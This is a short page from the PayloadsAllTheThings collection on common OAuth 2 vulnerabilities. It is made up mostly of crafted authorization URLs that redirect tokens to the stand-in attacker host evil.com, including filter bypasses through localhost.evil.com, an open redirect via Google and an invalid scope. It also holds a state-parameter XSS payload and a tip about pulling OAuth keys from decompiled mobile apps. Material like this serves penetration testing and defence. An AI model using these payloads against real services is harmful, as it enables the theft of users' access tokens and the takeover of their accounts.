PayloadsAllTheThings/OAuth

OAuth 2 - Common vulnerabilities

Grabbing OAuth Token via redirect_uri

https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:

https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com

Executing XSS via redirect_uri

https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>

OAuth private key disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

Authorization Code Rule Violation

The client MUST NOT use the authorization code  more than once.  
If an authorization code is used more than once, the authorization server MUST deny the request 
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

Thanks to

• http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html
• http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html
• http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html